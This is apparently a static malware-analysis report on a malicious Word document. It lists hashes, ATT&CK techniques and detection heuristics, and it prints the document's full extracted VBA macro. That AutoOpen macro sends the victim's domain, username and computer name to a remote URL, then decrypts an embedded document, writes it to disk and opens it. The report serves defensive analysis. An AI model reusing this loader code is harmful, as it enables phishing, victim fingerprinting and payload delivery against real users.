Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6b32cd8358f22a5a…

MALICIOUS

Office (OOXML)

27.8 KB Created: 2021-05-03 12:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: c2abfdc5a6dbcaee27a06afc11720abb SHA-1: e2275126f2728499809e21301c3a1c1cdd6f923b SHA-256: 6b32cd8358f22a5a6ac9eaa772e1fead04ec7281006bb819a9fdf063b3b02f1a
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols

The sample contains an obfuscated VBA auto-exec loader with a CreateObject call, indicative of malicious intent. The VBA script attempts to download content using MSXML2.ServerXMLHTTP and executes it, likely to fetch and run a second-stage payload. The presence of an 'enable macros' lure further supports this attack pattern.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Public Function LoadProperties() As String
        Set httpObject = CreateObject("MSXML2.ServerXMLHTTP")
        Set networkObject = CreateObject("WScript.Network")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function LoadProperties() As String
        Set httpObject = CreateObject("MSXML2.ServerXMLHTTP")
        Set networkObject = CreateObject("WScript.Network")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        On Error GoTo Retry
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7450 bytes
SHA-256: 612c2fe70881891254e06990569c8485d1336375cbf7f2dee7a75a8285c1d7eb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) ' x64
#Else
    Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)            ' x86
#End If

Public Function LoadProperties() As String
    Set httpObject = CreateObject("MSXML2.ServerXMLHTTP")
    Set networkObject = CreateObject("WScript.Network")
    Set utf8Object = CreateObject("System.Text.UTF8Encoding")
    
    Dim authHeader As String
    authHeader = networkObject.userDomain & "\" & networkObject.UserName & ":" & networkObject.ComputerName
    With CreateObject("MSXML2.DOMDocument").createElement("B64")
        .DataType = "bin.base64"
        .NodeTypedValue = utf8Object.GetBytes_4(authHeader)
        authHeader = Replace(.Text, vbLf, "")
    End With
    
    httpObject.Open "GET", ActiveDocument.BuiltInDocumentProperties("Format"), False
    httpObject.SetRequestHeader "Authorization", "Basic " & authHeader
    httpObject.SetRequestHeader "Cache-Control", "no-cache"
    httpObject.SetRequestHeader "Pragma", "no-cache"
    httpObject.Send
    
    If httpObject.Status = 200 Then
        Set xmlPart = ActiveDocument.CustomXMLParts.Add(httpObject.responseText)
        Dim xmlId As String: xmlId = ActiveDocument.CustomXMLParts.Item(ActiveDocument.CustomXMLParts.Count - 1).ID
        LoadProperties = xmlId
    End If
End Function

Function GetProperty(xmlId As String, key As String) As String
    Set xmlParts = ActiveDocument.CustomXMLParts.SelectByID(xmlId)
    GetProperty = xmlParts.SelectSingleNode("/properties/" & key).Text
End Function

Function BytesToBase64(bytes() As Byte) As String
    With CreateObject("MSXML2.DOMDocument").createElement("B64")
        .DataType = "bin.base64"
        .NodeTypedValue = bytes
        BytesToBase64 = Replace(.Text, vbLf, "")
    End With
End Function

Function Base64ToBytes(b64Str As String) As Byte()
    With CreateObject("MSXML2.DOMDocument").createElement("B64")
         .DataType = "bin.base64"
         .Text = b64Str
         Base64ToBytes = .NodeTypedValue
    End With
End Function

Public Function EncryptBytes(plaintextBytes, password, salt) As Byte()
    Set utf8Object = CreateObject("System.Text.UTF8Encoding")
    Set md5Object = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
    Set sha256Object = CreateObject("System.Security.Cryptography.SHA256Managed")
    Set rijndaelObject = CreateObject("System.Security.Cryptography.RijndaelManaged")
    
    rijndaelObject.KeySize = 256
    rijndaelObject.BlockSize = 128
    rijndaelObject.Mode = 1
    rijndaelObject.Padding = 2
    rijndaelObject.key = sha256Object.ComputeHash_2(utf8Object.GetBytes_4(password))
    rijndaelObject.IV = md5Object.ComputeHash_2(utf8Object.GetBytes_4(salt))
    
    ciphertextBytes = rijndaelObject.CreateEncryptor().TransformFinalBlock((plaintextBytes), 0, LenB(plaintextBytes))
    
    EncryptBytes = ciphertextBytes
End Function

Public Function DecryptBytes(ciphertextBytes, password, salt) As Byte()
    On Error Resume Next
    
    Set utf8Object = CreateObject("System.Text.UTF8Encoding")
    Set md5Object = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
    Set sha256Object = CreateObject("System.Security.Cryptography.SHA256Managed")
    Set rijndaelObject = CreateObject("System.Security.Cryptography.RijndaelManaged")
    
    rijndaelObject.KeySize = 256
    rijndaelObject.BlockSize = 128
    rijndaelObject.Mode = 1
    rijndaelObject.Padding = 2
    rijndaelObject.key = sha256Object.ComputeHash_2(utf8Object.GetBytes_4(password))
    rijndaelObject.IV = md5Object.ComputeHash_2(utf8Object.GetBytes_4(salt))
    
    plaintextBytes = rijndaelObject.CreateDecryptor().TransformFinalBlock((ciphertextBytes), 0, LenB(ciphertextBytes))
    
    DecryptBytes = plaintextBytes
End Function

Public Function GetTrackingPixelHash(url As String) As String
    Set httpObject = CreateObject("MSXML2.ServerXMLHTTP")
    Set md5Object = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
    
    httpObject.Open "GET", url, False
    httpObject.SetRequestHeader "Cache-Control", "no-cache"
    httpObject.SetRequestHeader "Pragma", "no-cache"
    httpObject.Send
    
    If httpObject.Status = 200 Then
        With CreateObject("MSXML2.DOMDocument").createElement("B64")
            .DataType = "bin.base64"
            .NodeTypedValue = md5Object.ComputeHash_2(httpObject.responseBody)
            GetTrackingPixelHash = Replace(.Text, vbLf, "")
        End With
    End If
End Function

Sub UnlockDocument()
    ' Load properties.
    Dim xmlId As String: xmlId = LoadProperties()
    
    ' Calculate salt.
    Set networkObject = CreateObject("WScript.Network")
    Dim userDomain As String: userDomain = UCase(networkObject.userDomain)
    Dim trackingPixelHash As String: trackingPixelHash = GetTrackingPixelHash(GetProperty(xmlId, "trackingPixelUrl"))
    Dim salt As String: salt = userDomain & "\" & trackingPixelHash
    Dim encryptedSalt As String: encryptedSalt = GetProperty(xmlId, "encryptedSalt")
    
    ' Collect password from user.
    Dim password As String: password = InputBox("Please enter the access code to unlock document." & vbCrLf & vbCrLf & "Contact the sender if the code is missing.")
    
    ' Validate password to fail early if password is incorrect.
    On Error Resume Next
    Set utf8Object = CreateObject("System.Text.UTF8Encoding")
    If salt <> utf8Object.GetString(DecryptBytes(Base64ToBytes(encryptedSalt), password, salt)) Then
        Dim answer As Integer: answer = MsgBox("Incorrect password. Try again?", vbExclamation + vbYesNo + vbDefaultButton1, "Microsoft Word")
        If answer = vbYes Then
            UnlockDocument
        End If
        Exit Sub
    End If
    
    ' Decrypt document, save to disk.
    On Error GoTo 0
    Dim encryptedDocumentName As String: encryptedDocumentName = GetProperty(xmlId, "documentName")
    Dim encryptedDocumentBody As String: encryptedDocumentBody = GetProperty(xmlId, "documentBody")
    Dim decryptedDocumentName As String: decryptedDocumentName = utf8Object.GetString(DecryptBytes(Base64ToBytes(encryptedDocumentName), password, salt))
    Dim decryptedDocumentPath As String: decryptedDocumentPath = Options.DefaultFilePath(wdDocumentsPath) & "\" & decryptedDocumentName
    Dim fileHandle As Integer: fileHandle = FreeFile
    Open decryptedDocumentPath For Binary Lock Read Write As #fileHandle
    Put #fileHandle, , DecryptBytes(Base64ToBytes(encryptedDocumentBody), password, salt)
    Close #fileHandle
    
    ' Open document.
    Dim currentDocumentName As String: currentDocumentName = ActiveDocument.Name
    Dim currentDocumentPath As String: currentDocumentPath = ActiveDocument.Path
    Documents.Open decryptedDocumentPath
    Documents(currentDocumentName).Close wdDoNotSaveChanges
End Sub

Sub AutoOpen()
    On Error GoTo Retry
Retry:
    UnlockDocument
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: a8f6b9add8c5eb2978c1d3fe30d0e228369cb82e81e01f22e44e15ad2d7f46c8